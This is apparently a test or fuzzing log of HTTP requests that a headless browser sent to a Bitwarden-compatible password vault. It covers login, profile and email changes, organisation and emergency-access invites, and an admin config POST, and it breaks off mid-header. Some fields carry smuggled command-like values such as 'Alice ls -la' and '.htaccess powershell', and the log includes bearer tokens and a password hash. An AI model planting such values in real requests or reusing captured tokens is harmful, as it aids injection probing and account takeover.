{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=ccc6e0e6-3020-4dd9-bd8a-458eec6dadb3&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "PUT", "target": "/api/accounts/profile", "headers": ["Host: example.com", "Content-Length: 49", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5NDI5MDEzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6ImNjYzZlMGU2LTMwMjAtNGRkOS1iZDhhLTQ1OGVlYzZkYWRiMyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HUyjs3AVPBjoPhBwZPK-T5KnyQres_1b9fLNV0mds1P_VEvvQu3WMQh80Hy1VYA8K2Q6cYSimmFhX-1cTFPDXdOawR_3YeG1kRiTomyOsn2gTgBkojpMeORFWf-jZTbspsgGSLZL7q0oAdnlzh5tiYnGjuxpnGzhZdYrTEeA6CvNk2bGp0ns3t2d95i6CgYh8H_u5wcsNjoNfCZ-42oz5I4Zr6f5vtHC35g80D4_AUrMgKMtyviywyKJsmTceT-jNdKfMAkWsRO-l94tdtw-xBUThQaPhvTKHmKHnvs-QSVCWv-m8s-HgvWNoGyRhZHyuXcVHNlgPJA2yPIigP2lbg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"culture\":\"en-US\",\"name\":\".htaccess powershell\"}"}
|
||||
{"method": "POST", "target": "/api/accounts/email-token", "headers": ["Host: example.com", "Content-Length: 111", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5NDI5MDEzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6ImNjYzZlMGU2LTMwMjAtNGRkOS1iZDhhLTQ1OGVlYzZkYWRiMyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HUyjs3AVPBjoPhBwZPK-T5KnyQres_1b9fLNV0mds1P_VEvvQu3WMQh80Hy1VYA8K2Q6cYSimmFhX-1cTFPDXdOawR_3YeG1kRiTomyOsn2gTgBkojpMeORFWf-jZTbspsgGSLZL7q0oAdnlzh5tiYnGjuxpnGzhZdYrTEeA6CvNk2bGp0ns3t2d95i6CgYh8H_u5wcsNjoNfCZ-42oz5I4Zr6f5vtHC35g80D4_AUrMgKMtyviywyKJsmTceT-jNdKfMAkWsRO-l94tdtw-xBUThQaPhvTKHmKHnvs-QSVCWv-m8s-HgvWNoGyRhZHyuXcVHNlgPJA2yPIigP2lbg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"newEmail\":\"powershell.alice@example.com\",\"masterPasswordHash\":\"PFTB756792a9joBcqKKHK61aPajhH+ALhFcnA4VMCms=\"}"}
|
||||
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/users?includeGroups=true", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5NDI5MDEzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6ImNjYzZlMGU2LTMwMjAtNGRkOS1iZDhhLTQ1OGVlYzZkYWRiMyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HUyjs3AVPBjoPhBwZPK-T5KnyQres_1b9fLNV0mds1P_VEvvQu3WMQh80Hy1VYA8K2Q6cYSimmFhX-1cTFPDXdOawR_3YeG1kRiTomyOsn2gTgBkojpMeORFWf-jZTbspsgGSLZL7q0oAdnlzh5tiYnGjuxpnGzhZdYrTEeA6CvNk2bGp0ns3t2d95i6CgYh8H_u5wcsNjoNfCZ-42oz5I4Zr6f5vtHC35g80D4_AUrMgKMtyviywyKJsmTceT-jNdKfMAkWsRO-l94tdtw-xBUThQaPhvTKHmKHnvs-QSVCWv-m8s-HgvWNoGyRhZHyuXcVHNlgPJA2yPIigP2lbg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "POST", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/users/invite", "headers": ["Host: example.com", "Content-Length: 158", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5NDI5MDEzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6ImNjYzZlMGU2LTMwMjAtNGRkOS1iZDhhLTQ1OGVlYzZkYWRiMyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HUyjs3AVPBjoPhBwZPK-T5KnyQres_1b9fLNV0mds1P_VEvvQu3WMQh80Hy1VYA8K2Q6cYSimmFhX-1cTFPDXdOawR_3YeG1kRiTomyOsn2gTgBkojpMeORFWf-jZTbspsgGSLZL7q0oAdnlzh5tiYnGjuxpnGzhZdYrTEeA6CvNk2bGp0ns3t2d95i6CgYh8H_u5wcsNjoNfCZ-42oz5I4Zr6f5vtHC35g80D4_AUrMgKMtyviywyKJsmTceT-jNdKfMAkWsRO-l94tdtw-xBUThQaPhvTKHmKHnvs-QSVCWv-m8s-HgvWNoGyRhZHyuXcVHNlgPJA2yPIigP2lbg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"accessSecretsManager\":false,\"collections\":[],\"emails\":[\"powershell@example.com\",\"python3@example.com\"],\"type\":2,\"groups\":[],\"permissions\":{\"response\":null}}"}
|
||||
{"method": "GET", "target": "/api/emergency-access/trusted", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5NDI5MDEzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6ImNjYzZlMGU2LTMwMjAtNGRkOS1iZDhhLTQ1OGVlYzZkYWRiMyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HUyjs3AVPBjoPhBwZPK-T5KnyQres_1b9fLNV0mds1P_VEvvQu3WMQh80Hy1VYA8K2Q6cYSimmFhX-1cTFPDXdOawR_3YeG1kRiTomyOsn2gTgBkojpMeORFWf-jZTbspsgGSLZL7q0oAdnlzh5tiYnGjuxpnGzhZdYrTEeA6CvNk2bGp0ns3t2d95i6CgYh8H_u5wcsNjoNfCZ-42oz5I4Zr6f5vtHC35g80D4_AUrMgKMtyviywyKJsmTceT-jNdKfMAkWsRO-l94tdtw-xBUThQaPhvTKHmKHnvs-QSVCWv-m8s-HgvWNoGyRhZHyuXcVHNlgPJA2yPIigP2lbg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5Njg3NDkzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiNVJHOENYTllpemlyVzFHRGVTeHduV19VRXJlV0xkeDRySWRlN2FQNTBfSUw3b19ONXd6QTdKdFh6dVJ3T2lPVU1aTFNfRUI2T29JRGhzNkJsZThSMXc9PSIsInRva2VuIjpudWxsfQ.Srb4A9_Ulqy8z6hFlLpX7oZLlOHow9P_b2jLOS6WD40TaAg72K5Lzoki34V1ptorkk3K3rn1x3v3EMixywZ9PJcf6J_mDqUiV7UKgqAJAzIQV77XuxNYJUSqiPi4RSLEuTjZ7fEfIlOyhbLYGNSWiKfDaJoMDUk4rQeS4wluKAzO4L9ctcjjIpiGK7r8zAcFBF6LMDNOyQ6UhWjDF-zTtAop6PiX5vrhB0Z1oc1uBGLuu-3TQfmX95bg0LB0beG6-Ac6_t06OAC23Z9aEXtyCbtMD9vaD4liSeINBEovZsmcjs99R2PwszzvhPaOSdSBHnJrroCIEXdW3-7MQH42lw"}
|
||||
{"method": "GET", "target": "/api/emergency-access/granted", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5NDI5MDEzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6ImNjYzZlMGU2LTMwMjAtNGRkOS1iZDhhLTQ1OGVlYzZkYWRiMyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HUyjs3AVPBjoPhBwZPK-T5KnyQres_1b9fLNV0mds1P_VEvvQu3WMQh80Hy1VYA8K2Q6cYSimmFhX-1cTFPDXdOawR_3YeG1kRiTomyOsn2gTgBkojpMeORFWf-jZTbspsgGSLZL7q0oAdnlzh5tiYnGjuxpnGzhZdYrTEeA6CvNk2bGp0ns3t2d95i6CgYh8H_u5wcsNjoNfCZ-42oz5I4Zr6f5vtHC35g80D4_AUrMgKMtyviywyKJsmTceT-jNdKfMAkWsRO-l94tdtw-xBUThQaPhvTKHmKHnvs-QSVCWv-m8s-HgvWNoGyRhZHyuXcVHNlgPJA2yPIigP2lbg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "POST", "target": "/api/accounts/password-hint", "headers": ["Host: example.com", "Content-Length: 35", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: cbab8704-bbce-46dd-ae1c-46db82853311", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"python3.dev@example.com\"}"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=85c47933-cd4b-495d-bcc9-922b445f0fda&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "POST", "target": "/api/emergency-access/invite", "headers": ["Host: example.com", "Content-Length: 57", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMwMTQsImV4cCI6MTc5NDI5MDIxNCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiIuaHRhY2Nlc3MgcG93ZXJzaGVsbCIsImVtYWlsIjoiYWxpY2VAZXhhbXBsZS5jb20iLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwic3N0YW1wIjoiMDdhYjJiYzktYjIxNi00YzIzLWIwOTEtMWU3Yjg4YmI0MzJhIiwiZGV2aWNlIjoiODVjNDc5MzMtY2Q0Yi00OTVkLWJjYzktOTIyYjQ0NWYwZmRhIiwiZGV2aWNldHlwZSI6IlVua25vd24gQnJvd3NlciIsImNsaWVudF9pZCI6IndlYiIsInNjb3BlIjpbImFwaSIsIm9mZmxpbmVfYWNjZXNzIl0sImFtciI6WyJBcHBsaWNhdGlvbiJdfQ.gcnqtqJADxbKQzl2WymYH5S9a6qBvY-2y8l031emAJtXmUdj2j_MqNZ6hVg1157Cpk1mZe_lPaePGY2p4dTofrNUVJ4N5bxna5VwXEuo_ZYnsfgh-F2_xSs_eNv5mbgrqaHEJVhMbwHWBqxl2EDo2_o6lI2CpV9ERz3zmqMFFyJYxhofXiRGm6YW6Qu6PhfW5qebW84ZFXmEBk_KU5mnIkhZSDjV_XowMwJw6SuEMSRSwm2ZFytXW05WicDrdQkeV_19dHSp0fmL-JLLzZGS-CKAJuKQ5UtBjLZKVgKI29FntgYAdUAsnQmBIZEs0mzC1ra-PRycG5fJ_ncj6HCYjQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"python3@example.com\",\"type\":0,\"waitTimeDays\":7}"}
|
||||
{"method": "GET", "target": "/api/hibp/breach?username=powershell%40example.com", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMwMTQsImV4cCI6MTc5NDI5MDIxNCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiIuaHRhY2Nlc3MgcG93ZXJzaGVsbCIsImVtYWlsIjoiYWxpY2VAZXhhbXBsZS5jb20iLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwic3N0YW1wIjoiMDdhYjJiYzktYjIxNi00YzIzLWIwOTEtMWU3Yjg4YmI0MzJhIiwiZGV2aWNlIjoiODVjNDc5MzMtY2Q0Yi00OTVkLWJjYzktOTIyYjQ0NWYwZmRhIiwiZGV2aWNldHlwZSI6IlVua25vd24gQnJvd3NlciIsImNsaWVudF9pZCI6IndlYiIsInNjb3BlIjpbImFwaSIsIm9mZmxpbmVfYWNjZXNzIl0sImFtciI6WyJBcHBsaWNhdGlvbiJdfQ.gcnqtqJADxbKQzl2WymYH5S9a6qBvY-2y8l031emAJtXmUdj2j_MqNZ6hVg1157Cpk1mZe_lPaePGY2p4dTofrNUVJ4N5bxna5VwXEuo_ZYnsfgh-F2_xSs_eNv5mbgrqaHEJVhMbwHWBqxl2EDo2_o6lI2CpV9ERz3zmqMFFyJYxhofXiRGm6YW6Qu6PhfW5qebW84ZFXmEBk_KU5mnIkhZSDjV_XowMwJw6SuEMSRSwm2ZFytXW05WicDrdQkeV_19dHSp0fmL-JLLzZGS-CKAJuKQ5UtBjLZKVgKI29FntgYAdUAsnQmBIZEs0mzC1ra-PRycG5fJ_ncj6HCYjQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "GET", "target": "/vw_static/hibp.png", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: i"], "body": ""}
|
||||
{"method": "POST", "target": "/admin/config", "headers": ["Host: example.com", "Content-Length: 2572", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 